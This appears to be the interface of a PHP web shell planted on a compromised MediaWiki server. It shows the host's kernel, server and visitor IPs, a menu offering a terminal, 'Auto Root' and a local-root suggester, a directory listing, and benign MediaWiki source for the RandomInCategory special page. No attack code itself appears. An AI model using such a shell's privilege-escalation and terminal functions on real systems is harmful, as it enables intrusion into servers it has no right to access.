Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
includes /
specials /
Delete
Unzip
Name
Size
Permission
Date
Action
helpers
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
pagers
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
SpecialActiveusers.php
3.48
KB
-rw-r--r--
2016-11-28 20:20
SpecialAllMessages.php
1.96
KB
-rw-r--r--
2016-11-28 20:20
SpecialAllPages.php
10.42
KB
-rw-r--r--
2016-11-28 20:20
SpecialAllmessages.php
12.08
KB
-rw-r--r--
2012-01-04 14:32
SpecialAllpages.php
14.84
KB
-rw-r--r--
2011-06-17 18:05
SpecialAncientpages.php
2.12
KB
-rw-r--r--
2016-11-28 20:20
SpecialApiHelp.php
2.62
KB
-rw-r--r--
2016-11-28 20:20
SpecialApiSandbox.php
1.64
KB
-rw-r--r--
2016-11-28 20:20
SpecialBlankpage.php
1.2
KB
-rw-r--r--
2016-11-28 20:20
SpecialBlock.php
30.28
KB
-rw-r--r--
2016-11-28 20:20
SpecialBlockList.php
6.01
KB
-rw-r--r--
2016-11-28 20:20
SpecialBlockme.php
1.67
KB
-rw-r--r--
2011-03-21 20:12
SpecialBooksources.php
5.45
KB
-rw-r--r--
2016-11-28 20:20
SpecialBotPasswords.php
9.29
KB
-rw-r--r--
2016-11-28 20:20
SpecialBrokenRedirects.php
4.38
KB
-rw-r--r--
2016-11-28 20:20
SpecialCachedPage.php
5.51
KB
-rw-r--r--
2016-11-28 20:20
SpecialCategories.php
1.89
KB
-rw-r--r--
2016-11-28 20:20
SpecialChangeContentModel.php
7.91
KB
-rw-r--r--
2016-11-28 20:20
SpecialChangeCredentials.php
6.71
KB
-rw-r--r--
2016-11-28 20:20
SpecialChangeEmail.php
4.78
KB
-rw-r--r--
2016-11-28 20:20
SpecialChangePassword.php
1.18
KB
-rw-r--r--
2016-11-28 20:20
SpecialComparePages.php
4.42
KB
-rw-r--r--
2016-11-28 20:20
SpecialConfirmemail.php
5.16
KB
-rw-r--r--
2016-11-28 20:20
SpecialContributions.php
19.52
KB
-rw-r--r--
2016-11-28 20:20
SpecialCreateAccount.php
5.03
KB
-rw-r--r--
2016-11-28 20:20
SpecialDeadendpages.php
2.11
KB
-rw-r--r--
2016-11-28 20:20
SpecialDeletedContributions.php
7.9
KB
-rw-r--r--
2016-11-28 20:20
SpecialDiff.php
2.29
KB
-rw-r--r--
2016-11-28 20:20
SpecialDisambiguations.php
4.18
KB
-rw-r--r--
2011-07-06 04:26
SpecialDoubleRedirects.php
5.58
KB
-rw-r--r--
2016-11-28 20:20
SpecialEditTags.php
13.97
KB
-rw-r--r--
2016-11-28 20:20
SpecialEditWatchlist.php
21.93
KB
-rw-r--r--
2016-11-28 20:20
SpecialEmailInvalidate.php
2.18
KB
-rw-r--r--
2016-11-28 20:20
SpecialEmailuser.php
12.69
KB
-rw-r--r--
2016-11-28 20:20
SpecialExpandTemplates.php
8.64
KB
-rw-r--r--
2016-11-28 20:20
SpecialExport.php
15.54
KB
-rw-r--r--
2016-11-28 20:20
SpecialFewestrevisions.php
2.9
KB
-rw-r--r--
2016-11-28 20:20
SpecialFileDuplicateSearch.php
7.26
KB
-rw-r--r--
2016-11-28 20:20
SpecialFilepath.php
1.52
KB
-rw-r--r--
2016-11-28 20:20
SpecialImport.php
19.38
KB
-rw-r--r--
2016-11-28 20:20
SpecialJavaScriptTest.php
6.62
KB
-rw-r--r--
2016-11-28 20:20
SpecialLinkAccounts.php
3.14
KB
-rw-r--r--
2016-11-28 20:20
SpecialLinkSearch.php
7.42
KB
-rw-r--r--
2016-11-28 20:20
SpecialListDuplicatedFiles.php
2.93
KB
-rw-r--r--
2016-11-28 20:20
SpecialListfiles.php
2.44
KB
-rw-r--r--
2016-11-28 20:20
SpecialListgrants.php
2.54
KB
-rw-r--r--
2016-11-28 20:20
SpecialListgrouprights.php
9.52
KB
-rw-r--r--
2016-11-28 20:20
SpecialListredirects.php
3.61
KB
-rw-r--r--
2016-11-28 20:20
SpecialListusers.php
2.54
KB
-rw-r--r--
2016-11-28 20:20
SpecialLockdb.php
3.28
KB
-rw-r--r--
2016-11-28 20:20
SpecialLog.php
8.29
KB
-rw-r--r--
2016-11-28 20:20
SpecialLonelypages.php
2.44
KB
-rw-r--r--
2016-11-28 20:20
SpecialLongpages.php
1.09
KB
-rw-r--r--
2016-11-28 20:20
SpecialMIMEsearch.php
5.29
KB
-rw-r--r--
2016-11-28 20:20
SpecialMediaStatistics.php
10.37
KB
-rw-r--r--
2016-11-28 20:20
SpecialMergeHistory.php
10.68
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostcategories.php
2.93
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostimages.php
1.66
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostinterwikis.php
2.95
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostlinked.php
3.31
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostlinkedcategories.php
2.61
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostlinkedtemplates.php
3.2
KB
-rw-r--r--
2016-11-28 20:20
SpecialMostrevisions.php
1.18
KB
-rw-r--r--
2016-11-28 20:20
SpecialMovepage.php
24.66
KB
-rw-r--r--
2016-11-28 20:20
SpecialMyLanguage.php
3.12
KB
-rw-r--r--
2016-11-28 20:20
SpecialMyRedirectPages.php
4.51
KB
-rw-r--r--
2016-11-28 20:20
SpecialNewimages.php
3.4
KB
-rw-r--r--
2016-11-28 20:20
SpecialNewpages.php
12.96
KB
-rwxr-xr-x
2016-11-28 20:20
SpecialPageLanguage.php
5.58
KB
-rw-r--r--
2016-11-28 20:20
SpecialPagesWithProp.php
5.1
KB
-rw-r--r--
2016-11-28 20:20
SpecialPasswordReset.php
6.08
KB
-rw-r--r--
2016-11-28 20:20
SpecialPermanentLink.php
1.47
KB
-rw-r--r--
2016-11-28 20:20
SpecialPopularpages.php
1.91
KB
-rw-r--r--
2011-05-26 21:21
SpecialPreferences.php
4.46
KB
-rw-r--r--
2016-11-28 20:20
SpecialPrefixindex.php
9.27
KB
-rw-r--r--
2016-11-28 20:20
SpecialProtectedpages.php
15.95
KB
-rw-r--r--
2016-11-28 20:20
SpecialProtectedtitles.php
5.5
KB
-rw-r--r--
2016-11-28 20:20
SpecialRandomInCategory.php
8.54
KB
-rw-r--r--
2016-11-28 20:20
SpecialRandompage.php
4.71
KB
-rw-r--r--
2016-11-28 20:20
SpecialRandomredirect.php
1.15
KB
-rw-r--r--
2016-11-28 20:20
SpecialRandomrootpage.php
1.21
KB
-rw-r--r--
2016-11-28 20:20
SpecialRecentchanges.php
22.18
KB
-rw-r--r--
2016-11-28 20:20
SpecialRecentchangeslinked.php
7.9
KB
-rw-r--r--
2016-11-28 20:20
SpecialRedirect.php
9.16
KB
-rw-r--r--
2016-11-28 20:20
SpecialRemoveCredentials.php
642
B
-rw-r--r--
2016-11-28 20:20
SpecialResetTokens.php
3.83
KB
-rw-r--r--
2016-11-28 20:20
SpecialRevisiondelete.php
20.86
KB
-rw-r--r--
2016-11-28 20:20
SpecialRunJobs.php
3.96
KB
-rw-r--r--
2016-11-28 20:20
SpecialSearch.php
38.45
KB
-rw-r--r--
2016-11-28 20:20
SpecialShortpages.php
3.44
KB
-rw-r--r--
2016-11-28 20:20
SpecialSpecialpages.php
3.6
KB
-rw-r--r--
2016-11-28 20:20
SpecialStatistics.php
9.18
KB
-rw-r--r--
2016-11-28 20:20
SpecialTags.php
15.24
KB
-rw-r--r--
2016-11-28 20:20
SpecialTrackingCategories.php
6.31
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnblock.php
8.37
KB
-rw-r--r--
2016-11-28 20:20
SpecialUncategorizedcategories.php
1.47
KB
-rw-r--r--
2016-11-28 20:20
SpecialUncategorizedimages.php
1.75
KB
-rw-r--r--
2016-11-28 20:20
SpecialUncategorizedpages.php
2.3
KB
-rw-r--r--
2016-11-28 20:20
SpecialUncategorizedtemplates.php
1.19
KB
-rw-r--r--
2016-11-28 20:20
SpecialUndelete.php
51.13
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnlinkAccounts.php
2.17
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnlockdb.php
2.44
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnusedcategories.php
1.97
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnusedimages.php
2.23
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnusedtemplates.php
2.42
KB
-rw-r--r--
2016-11-28 20:20
SpecialUnwatchedpages.php
2.85
KB
-rw-r--r--
2016-11-28 20:20
SpecialUpload.php
39.96
KB
-rw-r--r--
2016-11-28 20:20
SpecialUploadStash.php
14.56
KB
-rw-r--r--
2016-11-28 20:20
SpecialUserLogin.php
4.83
KB
-rw-r--r--
2016-11-28 20:20
SpecialUserLogout.php
2.45
KB
-rw-r--r--
2016-11-28 20:20
SpecialUserlogin.php
37.77
KB
-rw-r--r--
2012-03-21 11:43
SpecialUserlogout.php
1.85
KB
-rw-r--r--
2010-08-15 09:16
SpecialUserrights.php
23.31
KB
-rw-r--r--
2016-11-28 20:20
SpecialVersion.php
33.55
KB
-rw-r--r--
2016-11-28 20:20
SpecialWantedcategories.php
3.63
KB
-rw-r--r--
2016-11-28 20:20
SpecialWantedfiles.php
3.94
KB
-rw-r--r--
2016-11-28 20:20
SpecialWantedpages.php
2.36
KB
-rw-r--r--
2016-11-28 20:20
SpecialWantedtemplates.php
1.8
KB
-rw-r--r--
2016-11-28 20:20
SpecialWatchlist.php
18.42
KB
-rw-r--r--
2016-11-28 20:20
SpecialWhatlinkshere.php
15.79
KB
-rw-r--r--
2016-11-28 20:20
SpecialWithoutinterwiki.php
2.7
KB
-rw-r--r--
2016-11-28 20:20
Save
Rename
<?php /** * Implements Special:RandomInCategory * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @file * @ingroup SpecialPage * @author Brian Wolff */ /** * Special page to direct the user to a random page * * @note The method used here is rather biased. It is assumed that * the use of this page will be people wanting to get a random page * out of a maintenance category, to fix it up. The method used by * this page should return different pages in an unpredictable fashion * which is hoped to be sufficient, even if some pages are selected * more often than others. * * A more unbiased method could be achieved by adding a cl_random field * to the categorylinks table. * * The method used here is as follows: * * Find the smallest and largest timestamp in the category * * Pick a random timestamp in between * * Pick an offset between 0 and 30 * * Get the offset'ed page that is newer than the timestamp selected * The offset is meant to counter the fact the timestamps aren't usually * uniformly distributed, so if things are very non-uniform at least we * won't have the same page selected 99% of the time. * * @ingroup SpecialPage */ class SpecialRandomInCategory extends FormSpecialPage { /** @var string[] */ protected $extra = []; // Extra SQL statements /** @var Title|false */ protected $category = false; // Title object of category /** @var int */ protected $maxOffset = 30; // Max amount to fudge randomness by. /** @var int|null */ private $maxTimestamp = null; /** @var int|null */ private $minTimestamp = null; public function __construct( $name = 'RandomInCategory' ) { parent::__construct( $name ); } /** * Set which category to use. * @param Title $cat */ public function setCategory( Title $cat ) { $this->category = $cat; $this->maxTimestamp = null; $this->minTimestamp = null; } protected function getFormFields() { $this->addHelpLink( 'Help:RandomInCategory' ); return [ 'category' => [ 'type' => 'title', 'namespace' => NS_CATEGORY, 'relative' => true, 'label-message' => 'randomincategory-category', 'required' => true, ] ]; } public function requiresWrite() { return false; } public function requiresUnblock() { return false; } protected function getDisplayFormat() { return 'ooui'; } protected function alterForm( HTMLForm $form ) { $form->setSubmitTextMsg( 'randomincategory-submit' ); } protected function setParameter( $par ) { // if subpage present, fake form submission $this->onSubmit( [ 'category' => $par ] ); } public function onSubmit( array $data ) { $cat = false; $categoryStr = $data['category']; if ( $categoryStr ) { $cat = Title::newFromText( $categoryStr, NS_CATEGORY ); } if ( $cat && $cat->getNamespace() !== NS_CATEGORY ) { // Someone searching for something like "Wikipedia:Foo" $cat = Title::makeTitleSafe( NS_CATEGORY, $categoryStr ); } if ( $cat ) { $this->setCategory( $cat ); } if ( !$this->category && $categoryStr ) { $msg = $this->msg( 'randomincategory-invalidcategory', wfEscapeWikiText( $categoryStr ) ); return Status::newFatal( $msg ); } elseif ( !$this->category ) { return false; // no data sent } $title = $this->getRandomTitle(); if ( is_null( $title ) ) { $msg = $this->msg( 'randomincategory-nopages', $this->category->getText() ); return Status::newFatal( $msg ); } $this->getOutput()->redirect( $title->getFullURL() ); } /** * Choose a random title. * @return Title|null Title object (or null if nothing to choose from) */ public function getRandomTitle() { // Convert to float, since we do math with the random number. $rand = (float)wfRandom(); $title = null; // Given that timestamps are rather unevenly distributed, we also // use an offset between 0 and 30 to make any biases less noticeable. $offset = mt_rand( 0, $this->maxOffset ); if ( mt_rand( 0, 1 ) ) { $up = true; } else { $up = false; } $row = $this->selectRandomPageFromDB( $rand, $offset, $up ); // Try again without the timestamp offset (wrap around the end) if ( !$row ) { $row = $this->selectRandomPageFromDB( false, $offset, $up ); } // Maybe the category is really small and offset too high if ( !$row ) { $row = $this->selectRandomPageFromDB( $rand, 0, $up ); } // Just get the first entry. if ( !$row ) { $row = $this->selectRandomPageFromDB( false, 0, true ); } if ( $row ) { return Title::makeTitle( $row->page_namespace, $row->page_title ); } return null; } /** * @param float $rand Random number between 0 and 1 * @param int $offset Extra offset to fudge randomness * @param bool $up True to get the result above the random number, false for below * @return array Query information. * @throws MWException * @note The $up parameter is supposed to counteract what would happen if there * was a large gap in the distribution of cl_timestamp values. This way instead * of things to the right of the gap being favoured, both sides of the gap * are favoured. */ protected function getQueryInfo( $rand, $offset, $up ) { $op = $up ? '>=' : '<='; $dir = $up ? 'ASC' : 'DESC'; if ( !$this->category instanceof Title ) { throw new MWException( 'No category set' ); } $qi = [ 'tables' => [ 'categorylinks', 'page' ], 'fields' => [ 'page_title', 'page_namespace' ], 'conds' => array_merge( [ 'cl_to' => $this->category->getDBkey(), ], $this->extra ), 'options' => [ 'ORDER BY' => 'cl_timestamp ' . $dir, 'LIMIT' => 1, 'OFFSET' => $offset ], 'join_conds' => [ 'page' => [ 'INNER JOIN', 'cl_from = page_id' ] ] ]; $dbr = wfGetDB( DB_REPLICA ); $minClTime = $this->getTimestampOffset( $rand ); if ( $minClTime ) { $qi['conds'][] = 'cl_timestamp ' . $op . ' ' . $dbr->addQuotes( $dbr->timestamp( $minClTime ) ); } return $qi; } /** * @param float $rand Random number between 0 and 1 * * @return int|bool A random (unix) timestamp from the range of the category or false on failure */ protected function getTimestampOffset( $rand ) { if ( $rand === false ) { return false; } if ( !$this->minTimestamp || !$this->maxTimestamp ) { try { list( $this->minTimestamp, $this->maxTimestamp ) = $this->getMinAndMaxForCat( $this->category ); } catch ( Exception $e ) { // Possibly no entries in category. return false; } } $ts = ( $this->maxTimestamp - $this->minTimestamp ) * $rand + $this->minTimestamp; return intval( $ts ); } /** * Get the lowest and highest timestamp for a category. * * @param Title $category * @return array The lowest and highest timestamp * @throws MWException If category has no entries. */ protected function getMinAndMaxForCat( Title $category ) { $dbr = wfGetDB( DB_REPLICA ); $res = $dbr->selectRow( 'categorylinks', [ 'low' => 'MIN( cl_timestamp )', 'high' => 'MAX( cl_timestamp )' ], [ 'cl_to' => $this->category->getDBkey(), ], __METHOD__, [ 'LIMIT' => 1 ] ); if ( !$res ) { throw new MWException( 'No entries in category' ); } return [ wfTimestamp( TS_UNIX, $res->low ), wfTimestamp( TS_UNIX, $res->high ) ]; } /** * @param float $rand A random number that is converted to a random timestamp * @param int $offset A small offset to make the result seem more "random" * @param bool $up Get the result above the random value * @param string $fname The name of the calling method * @return array Info for the title selected. */ private function selectRandomPageFromDB( $rand, $offset, $up, $fname = __METHOD__ ) { $dbr = wfGetDB( DB_REPLICA ); $query = $this->getQueryInfo( $rand, $offset, $up ); $res = $dbr->select( $query['tables'], $query['fields'], $query['conds'], $fname, $query['options'], $query['join_conds'] ); return $res->fetchObject(); } protected function getGroupName() { return 'redirects'; } }